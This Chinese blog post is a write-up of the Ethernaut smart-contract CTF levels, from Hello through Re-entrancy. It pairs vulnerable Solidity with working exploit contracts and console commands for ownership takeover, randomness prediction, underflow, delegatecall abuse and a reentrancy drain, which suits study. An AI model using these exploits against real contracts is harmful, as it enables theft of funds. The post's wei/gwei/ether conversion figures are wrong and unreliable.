区块链初探-1

发布于 2024-03-06  145 次阅读






区块链初探

[TOC]

在好兄弟们的帮助下,终于开始进行区块链漏洞的学习,先是从Ethernaut (openzeppelin.com)开始入手(当脚本小子)。solidity基础:https://cryptozombies.io/zh/

准备

配置MetaMask

MetaMask是一款插件型(无需下载客户端)轻量级数字货币钱包,官网:The Ultimate Crypto Wallet for DeFi, Web3 Apps, and NFTs | MetaMask,挂梯子进去,下载安装插件之后,就可以进hello关卡了。

Hello Ethernaut

这关是学习如何在控制台交互以及熟悉流程的,领取测试币Get Testnet LINK Tokens | Chainlink Faucets

contract.methods()可以返回方法

Exp

 await contract.info()
'You will find what you need in info1().'
await contract.info1()
'Try info2(), but with "hello" as a parameter.'
await contract.info2("hello")
'The property infoNum holds the number of the next info method to call.'
await contract.infoNum()
i {negative: 0, words: Array(2), length: 1, red: null}length: 1negative: 0red: nullwords: (2) [42, 空][[Prototype]]: Object
await contract.info42()
'theMethodName is the name of the next method.'
await contract.theMethodName()
'The method name is method7123949.'
await contract.method7123949()
'If you know the password, submit it to authenticate().'
await contract.password()
'ethernaut0'
await contract.authenticate("ethernaut0")
{tx: '0x030085c40fcc8296100544dcaf0835668d427c7e992c2e9cc2f0af09f13b443b', receipt: {…}, logs: Array(0)}

 

Fallback

Source

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

 

接收ETH函数 receive

receive()函数是在合约收到ETH转账时被调用的函数。一个合约最多有一个receive()函数,声明方式与一般函数不一样,不需要function关键字:receive() external payable { ... }receive()函数不能有任何的参数,不能返回任何值,必须包含externalpayable

回退函数 fallback

fallback()函数会在调用合约不存在的函数时被触发。可用于接收ETH,也可以用于代理合约proxy contractfallback()声明时不需要function关键字,必须由external修饰,一般也会用payable修饰,用于接收ETH:fallback() external payable { ... }

当合约接收ETH的时候,receive()会被触发。receive()最好不要执行太多的逻辑因为如果别人用sendtransfer方法发送ETH的话,gas会限制在2300receive()太复杂可能会触发Out of Gas报错

触发fallback() 还是 receive()?
           接收ETH
              |
         msg.data是空?
            /  \
          是    否
          /      \
receive()存在?   fallback()
        / \
       是  否
      /     \
receive()   fallback()

以太币的最小单位是wei,在我们传入的value没有货币单位的时候
1 wei == 1
1 gwei == 100000000 wei
1 ether == 10000000000000000 wei
1 ether == 100000000 gwei

先通过contribute()函数使contributions[msg.sender] > 0,然后用sendTransaction函数,直接向合约转账即可让owner变成自己

await contract.contribute({value: toWei("0.0001")})
await contract.sendTransaction({value: toWei("0.001")})

 

Fallout

Source

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

Solidity 0.4.22 之前的构造函数是和合约同名的(0.4.22及之后都采用constructor(…) {…}来声明构造函数),它只在合约创建时执行一次,题目代码中将function Fallout() public payable书写为function Fal1out() public payable,即变成了一个普通函数,导致可以在外部自由调用,从而改变owner

Exp

await contract.Fal1out();

Sum

虽然这个攻击看着很呆,但是完成后网站会告诉我们

这很白痴是吧? 真实世界的合约必须安全的多, 难以入侵的多, 对吧?

实际上... 也未必.

Rubixi的故事在以太坊生态中非常知名. 这个公司把名字从 'Dynamic Pyramid' 改成 'Rubixi' 但是不知道怎么地, 他们没有把合约的 constructor 方法也一起更名:

contract Rubixi {
address private owner;
function DynamicPyramid() { owner = msg.sender; } //就是这里
function collectAllFees() { owner.transfer(this.balance) }
...

这让攻击者可以调用旧合约的constructor 然后获得合约的控制权, 然后再获得一些资产. 是的. 这些重大错误在智能合约的世界是有可能的.

Coin Flip

Source

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

block.number (uint):获取当前块高度

subdiv:SafeMath中的方法(减,整除)

blockhash(uint blockNumber) returns (bytes32) :给定块的哈希,仅适用于最近256个块

revert():中止执行并还原状态更改

代码逻辑为

  • 获取上一块的哈希
  • 判断与上一次运行flip函数时得到的哈希是否相同,相同则中止
  • 记录得到的哈希
  • 用得到的哈希整除FACTOR(uint256取值范围为[0,2256-1],FACTOR为2255),结果只会是1或0
  • 以整除的结果作为判断条件

代码尝试用blockhash(block.number.sub(1))生成随机数,然而并非随机。在区块链网络中,数据会以文件的形式被永久记录,这些文件称为区块。区块是区块链的基本结构单元,由包含元数据的区块头和包含交易数据的区块主体构成。目前比特币区块链系统大约每10分钟会创建一个区块,eth系统则是十几秒产生一个区块。我们只需要调用题目中的合约,就可以获得每次产生的结果从而进行攻击,这样两个交易一定被打包在同一个区块上。

3aa9bb1bf8ff307a52b5799d6d6a10e3

部署之后,

e200d819671d515c51f2175b2aba32a1

EXP

pragma solidity ^0.8.0;

abstract contract CoinFlip {
  function flip(bool _guess) virtual public returns (bool);
}

contract Attack {
    CoinFlip coinFlip = CoinFlip(0x0567691A9bB1A5420719CA5b2Ace8bA828F5b776);//这里填实例地址
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function exploit() public returns(bool) {
        uint256 blockValue = uint256(blockhash(block.number-1));
        uint256 flip = blockValue / FACTOR;
        bool side = flip == 1 ? true : false;
        return coinFlip.flip(side);
    }
}

Sum

执行10次之后,提交实例网站会告诉我们:

通过solidity产生随机数没有那么容易. 目前没有一个很自然的方法来做到这一点, 而且你在智能合约中做的所有事情都是公开可见的, 包括本地变量和被标记为私有的状态变量. 矿工可以控制 blockhashes, 时间戳, 或是是否包括某个交易, 这可以让他们根据他们目的来左右这些事情.

 

Telephone

Source

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

这道题需要了解tx.originmsg.sender的区别。假设A、B、C都是已经部署的合约,如果我们用A去调用C,即A->C,那么在C合约看来,A既是tx.origin,又是msg.sender。如果调用链是A->B->C,那么对于合约C来说,A是tx.origin,B是msg.sender,即msg.sender是直接调用的一方,而tx.origin是交易的原始发起者。

用户可以通过另一个合约 Attack 来调用目标合约中的 changeOwner(),此时,tx.origin 为用户,msg.senderAttack,即可绕过条件,成为 owner。

EXP

pragma solidity ^0.8.0;

abstract contract Telephone {
  function changeOwner(address _owner) virtual public ;
}

contract Attack {
    Telephone telephone = Telephone(0x620DFC1c05EdEfDB58f7eab8F13e330D648b867c);//实例地址

    function exploit() public {
        telephone.changeOwner(0xbc2b8A74d29054491051D2aBC5F0C57b98444785);//自己的钱包地址
    }
}

部署并执行exp后,在控制台我们看到,此时合约的owner已经变成了自己。

await contract.owner()
'0xbc2b8A74d29054491051D2aBC5F0C57b98444785'

Sum

这个例子比较简单, 混淆 tx.originmsg.sender 会导致 phishing-style 攻击, 比如this.

下面描述了一个可能的攻击:

使用 tx.origin 来决定转移谁的token, 比如.

function transfer(address _to, uint _value) {
tokens[tx.origin] -= _value;
tokens[_to] += _value;
}

攻击者通过调用合约的 transfer 函数是受害者向恶意合约转移资产, 比如

function () payable {
token.transfer(attackerAddress, 10000);
}

在这个情况下, tx.origin 是受害者的地址 ( msg.sender 是恶意协议的地址), 这会导致受害者的资产被转移到攻击者的手上.

Token

Source

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

这个题考察整数溢出的问题,题目说明中告知初始已经给我们分配了20个token,所以我们只需要调用transfer函数,执行transfer(instance,21),那么balances[msg.sender] - _value的结果为-1,由于是uint类型,会变成这样一个很大的数字,从而实现攻击。

EXP

await contract.methods
{balanceOf(address): ƒ, totalSupply(): ƒ, transfer(address,uint256): ƒ}balanceOf(address): ƒ ()totalSupply(): ƒ ()transfer(address,uint256): ƒ ()[[Prototype]]: Object
await contract.balanceOf(player)
i {negative: 0, words: Array(2), length: 1, red: null}length: 1negative: 0red: nullwords: (2) [20, 空][[Prototype]]: Object
await contract.transfer(instance, 21)
{tx: '0x110038dbfc1848c6d8463344d841989467940977328f7afab72264bd91be5f22', receipt: {…}, logs: Array(0)}
await contract.balanceOf(player)
i {negative: 0, words: Array(11), length: 10, red: null}length: 10negative: 0red: nullwords: (11) [67108863, 67108863, 67108863, 67108863, 67108863, 67108863, 67108863, 67108863, 67108863, 4194303, 空][[Prototype]]: Object

Sum

Overflow 在 solidity 中非常常见, 你必须小心检查, 比如下面这样:

if(a + c > a) {
a = a + c;
}

另一个简单的方法是使用 OpenZeppelin 的 SafeMath 库, 它会自动检查所有数学运算的溢出, 可以像这样使用:

a = a.add(c);

如果有溢出, 代码会自动恢复.

溢出问题似乎在0.8.0之前存在,在之后的版本编译器会做默认检查。

Delegation

Source

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

在 Solidity 中,call 函数簇可以实现跨合约的函数调用功能,其中包括 calldelegatecallcallcode 三种方式。

以下是 Solidity 中 call 函数簇的调用模型:

<address>.call(...) returns (bool)
<address>.callcode(...) returns (bool)
<address>.delegatecall(...) returns (bool)

这些函数提供了灵活的方式与合约进行交互,并且可以接受任何长度、任何类型的参数,其传入的参数会被填充至 32 字节最后拼接为一个字符串序列,由 EVM 解析执行。

在函数调用的过程中, Solidity 中的内置变量 msg 会随着调用的发起而改变,msg 保存了调用方的信息包括:调用发起的地址,交易金额,被调用函数字符序列等。

三种调用方式的异同点

  • call: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境(合约的 storage)。
  • delegatecall: 调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境。
  • callcode: 调用后内置变量 msg 的值会修改为调用者,但执行环境为调用者的运行环境。

 

在智能合约的开发过程中,合约的相互调用是经常发生的。开发者为了实现某些功能会调用另一个合约的函数。比如下面的例子,调用一个合约 A 的 test() 函数,这是一个正常安全的调用。

function test(uint256 a) public {
    // codes
}

function callFunc() public {
    <A.address>.delegatecall(bytes4(keccak256("test(uint256)")), 10);
}

但是在实际开发过程中,开发者为了兼顾代码的灵活性,往往会有下面这种写法:

function callFunc(address addr, bytes data) public {
    addr.delegatecall(data);
}

这将引起任意 public 函数调用的问题:合约中的 delegatecall 的调用地址和调用的字符序列都由用户传入,那么完全可以调用任意地址的函数。

除此之外,delegatecall 所在合约 (A) 在调用其他合约 (B) 的函数时,所用到的很多状态( 比如 msg.sender )都是 A 合约里面的。以及当 A 和 B 合约有一样的变量时,使用的是 A 合约中的变量。

通过转账触发 Delegation 合约的 fallback 函数,同时设置 datapwn 函数的标识符(data 头4个byte是被调用方法的签名哈希,即 bytes4(keccak256("func")) , remix 里调用函数,实际是向合约账户地址发送了msg.data[0:4] 为函数签名哈希的一笔交易)。然后在Delegate 合约里面的 pwn 函数就会修改 Delegation 合约的 owner 变量为我们的合约地址。

EXP

contract.sendTransaction({data:web3.utils.sha3("pwn()").slice(0,10)})

这里slice(0,10)是因为前面还有个0x,加上0x一共10个字符。

Sum

使用delegatecall 是很危险的, 而且历史上已经多次被用于进行 attack vector. 使用它, 你对合约相当于在说 "看这里, -其他合约- 或是 -其它库-, 来对我的状态为所欲为吧". 代理对你合约的状态有完全的控制权. delegatecall 函数是一个很有用的功能, 但是也很危险, 所以使用的时候需要非常小心.

请参见 The Parity Wallet Hack Explained 这篇文章, 他详细解释了这个方法是如何窃取三千万美元的.

 

 

Force

Source

pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

尝试直接向合约转账的话会被revert(没有receive()也没有payable修饰的fallback()函数)

不过另一个合约可以通过自毁 selfdestruct ,强行给一个合约发送 eth,可以将余额全部强制转到另一个地址上,所以新建一个合约然后自毁,把余额转到实例地址上就可以了。

Exp

pragma solidity ^0.8.0;

contract ForceAttack {

  constructor() public payable {}
  receive() external payable {}

  function attack(address payable target) public {
    selfdestruct(target);
  }
}

Sum

在solidity中, 如果一个合约要接受 ether, fallback 方法必须设置为 payable.

但是, 并没有发什么办法可以阻止攻击者通过自毁的方法向合约发送 ether, 所以, 不要将任何合约逻辑基于 address(this).balance == 0 之上.

 

Vault

Source

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

分析源码可以知道,需要我们获取私有变量password,虽然因为private我们不能直接看到,然而我们要知道这是在以太坊上,这是一个区块链,它是透明的,数据都是存在block里面的,所以我们可以直接拿到它。

这里通过getStorageAt函数来访问它,getStorageAt函数可以让我们访问合约里状态变量的值,它的两个参数里第一个是合约的地址,第二个则是变量位置position,它是按照变量声明的顺序从0开始,顺次加1,不过对于mapping这样的复杂类型,position的值就没那么简单了。

getStorageAt

web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])

获取地址在某个特定位置的存储值。

参数

  1. String - 用来获取存储值的地址。
  2. Number|String|BN|BigNumber - 存储的索引位置。
  3. Number|String|BN|BigNumber - (可选) 如果传入值则会覆盖通过 web3.eth.defaultBlock 设置的默认区块号。预定义的区块号可以使用 "latest", "earliest" "pending", 和 "genesis" 等值。
  4. Function - (可选) 可选的回调函数,其第一个参数为错误对象,第二个参数为函数运行结果。

返回值

Promise 返回 String - 给定位置的存储值。

代码示例

web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1", 0)
.then(console.log);
> "0x033456732123ffff2342342dd12342434324234234fd234fd23fd4f23d4234"

Exp

> await web3.eth.getStorageAt(instance, 1) // 0 为 locked 的位置,1 为 password
'0x412076657279207374726f6e67207365637265742070617373776f7264203a29'
> web3.utils.toAscii("0x412076657279207374726f6e67207365637265742070617373776f7264203a29")
'A very strong secret password :)'
> await contract.unlock("0x412076657279207374726f6e67207365637265742070617373776f7264203a29")
// 参数是 bytes32,所以不能直接传字符串进去

Sum

请记住, 将一个变量设制成私有, 只能保证不让别的合约访问他. 设制成私有的状态变量和本地变量, 依旧可以被公开访问.

为了确保数据私有, 需要在上链前加密. 在这种情况下, 密钥绝对不要公开, 否则会被任何想知道的人获得. zk-SNARKs 提供了一个可以判断某个人是否有某个秘密参数的方法,但是不必透露这个参数.

 

King

Source

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

Solidity的三种转账方式:

  • <address payable>.transfer(uint256 amount)

    当发送失败时会 throw ,回滚状态

    只会传递部分 Gas 供调用,防止重入

  • <address payable>.send(uint256 amount) returns (bool)

    当发送失败时会返回 false
    只会传递部分 Gas 供调用,防止重入

  • <address payable>.call.value()()

    当发送失败时会返回 false
    传递所有可用 Gas 供调用,不能有效防止重入

如果使用addr.transfer(1 ether)addr.send(1 ether),addr合约中必须增加fallback回退函数。如果使用addr.call.value(1 ether),那么被调用的方法必须添加payable修饰符,否则转账失败。

题目通过king.transfer(msg.value);向之前的king转账,transfer这种方式失败会throws 错误,无法继续执行下面的代码,所以只要让转账时出错,就不会产生新的king。而我们知道,如果向一个没有 fallback 函数的合约,或 fallback 不带 payable 的合约发送 Ether,则会报错。

在这之前需要先看一下当前的prize

await fromWei((await contract.prize()))
'0.001'

Exp

部署Hack合约,调用函数,传入实例地址和0.001 Ether

pragma solidity ^0.8.0;

contract Hack{
  constructor(address payable target)payable {
    uint prize = King(target).prize();
    (bool ok,) = target.call{value: prize}("");
    require(ok, "call failed");
  }

  // fallback() external payable { 
  //   revert();
  // }
}

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

 

Sum

这个漏洞在实际合约中被用revert来执行DDos,让程序卡在某个状态无法运行。

大多数 Ethernaut 的关卡尝试展示真实发生的 bug 和 hack (以简化过的方式).

关于这次的情况, 参见: King of the EtherKing of the Ether Postmortem

 

Re-entrancy

Source

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

拿上面的代码简单解释一下重入漏洞,就是如果调用withdraw函数向一个合约转账,合约接收Ether会调用receive函数(或者fallback),那么只要在receive中再次调用withdraw,那么合约会再次进行转账并且不会执行到msg.sender.call{value:_amount}("")下方更改账户余额的语句balances[msg.sender] -= _amount

img

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface Ireentrancy {
  function donate(address) external payable ;
  function withdraw(uint256) external ;
}

contract Hack{
  Ireentrancy private immutable target;

  constructor(address _target){
    target = Ireentrancy(_target);
  }

  function attack() external  payable {
    target.donate{value: 1e18}(address(this));
    target.withdraw(1e18);

    require(address(target).balance == 0, "target balance > 0");
    selfdestruct(payable (msg.sender));
  }

  receive() external payable {
    uint amount = min(1e18, address(target).balance);
    if (amount > 0){
      target.withdraw(amount);
    }
   }
  
  function min(uint x, uint y) private pure returns (uint){
    return x <= y ? x : y;
  }
}

Sum

为了防止重入漏洞,最好采用Checks-Effects-Interactions模式,即先检查,然后更改合约状态变量,最后才与其他合约交互。


最后更新于 2024-03-06